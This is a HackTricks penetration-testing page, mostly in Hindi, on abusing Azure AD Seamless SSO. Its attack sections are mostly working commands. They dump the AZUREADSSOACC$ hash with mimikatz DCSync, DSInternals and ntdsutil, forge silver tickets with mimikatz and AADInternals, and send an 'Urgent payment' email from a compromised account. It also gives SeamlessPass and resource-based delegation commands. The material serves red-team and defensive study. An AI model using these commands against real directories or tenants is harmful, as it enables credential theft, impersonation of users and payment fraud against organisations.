Az - Seamless SSO

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है, और आमतौर पर, यहां तक कि अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

आधारभूत रूप से Azure AD Seamless SSO उपयोगकर्ताओं को साइन इन करता है जब वे एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं

यह PHS (Password Hash Sync) और PTA (Pass-through Authentication) दोनों द्वारा समर्थित है।

डेस्कटॉप SSO प्रमाणीकरण के लिए Kerberos का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक कंप्यूटर खाता बनाता है जिसे AZUREADSSOACC$ कहा जाता है ऑन-प्रिम AD में। AZUREADSSOACC$ खाते का पासवर्ड कॉन्फ़िगरेशन के दौरान Azure AD को स्पष्ट पाठ के रूप में भेजा जाता है

Kerberos टिकट **पासवर्ड के NTHash (MD4) का उपयोग करके एन्क्रिप्ट किए जाते हैं और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।

Azure AD एक एंडपॉइंट (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos टिकटों को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।

On-prem -> cloud

उपयोगकर्ता का पासवर्ड AZUREADSSOACC$ कभी नहीं बदलता। इसलिए, एक डोमेन प्रशासक इस खाते के हैश को समझौता कर सकता है, और फिर इसका उपयोग सिल्वर टिकट बनाने के लिए कर सकता है ताकि किसी भी ऑन-प्रिम उपयोगकर्ता को सिंक करके Azure से कनेक्ट किया जा सके:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

अब आप हैश के साथ सिल्वर टिकट जनरेट कर सकते हैं:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. ब्राउज़र प्रारंभ करें: Mozilla Firefox को लॉन्च किया जाना चाहिए।
  2. ब्राउज़र कॉन्फ़िगर करें:
  • about:config पर जाएं।
  • network.negotiate-auth.trusted-uris के लिए प्रेफरेंस को निर्दिष्ट मानों पर सेट करें:
  • https://aadg.windows.net.nsatc.net
  • https://autologon.microsoftazuread-sso.com
  1. वेब एप्लिकेशन तक पहुँचें:
  • एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है Office 365
  1. प्रमाणीकरण प्रक्रिया:
  • लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज किया जाना चाहिए, पासवर्ड फ़ील्ड को खाली छोड़ते हुए।
  • आगे बढ़ने के लिए, TAB या ENTER दबाएं।

tip

यदि MFA सक्षम है तो यह बायपास नहीं करता है

विकल्प 2 बिना dcsync - SeamlessPass

यह हमला dcsync हमले के बिना करना भी संभव है ताकि अधिक छिपा रह सके जैसा कि इस ब्लॉग पोस्ट में समझाया गया है। इसके लिए आपको केवल निम्नलिखित में से एक की आवश्यकता है:

  • एक समझौता किए गए उपयोगकर्ता का TGT: भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT डेलीगेशन ट्रिक का उपयोग करके एक प्राप्त कर सकते हैं जैसे Kekeo और Rubeus
  • गोल्डन टिकट: यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं।
  • एक समझौता किए गए उपयोगकर्ता का NTLM हैश या AES कुंजी: SeamlessPass इस जानकारी के साथ डोमेन कंट्रोलर के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके।
  • AZUREADSSOACC$ खाता NTLM हैश या AES कुंजी: इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणीकरण किया जाए (जैसा कि पिछले तरीके में किया गया था)।

अंत में, TGT के साथ, आप उपकरण SeamlessPass का उपयोग कर सकते हैं:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Firefox को seamless SSO के साथ काम करने के लिए आगे की जानकारी इस ब्लॉग पोस्ट में मिल सकती है।

क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना

यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं। इस तरह Kerberos टिकट क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं। एकमात्र आवश्यकता यह है कि SID एक उचित SID हो।

caution

क्लाउड-केवल प्रशासनिक उपयोगकर्ताओं का SID बदलना अब Microsoft द्वारा अवरुद्ध है।
जानकारी के लिए देखें https://aadinternals.com/post/on-prem_admin/

ऑन-प्रेम -> क्लाउड रिसोर्स आधारित सीमित प्रतिनिधित्व के माध्यम से

कोई भी जो इस खाते में कंप्यूटर खातों (AZUREADSSOACC$) का प्रबंधन कर सकता है, वह खाते पर एक संसाधन आधारित सीमित प्रतिनिधित्व को कॉन्फ़िगर कर सकता है और इसे एक्सेस कर सकता है

python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें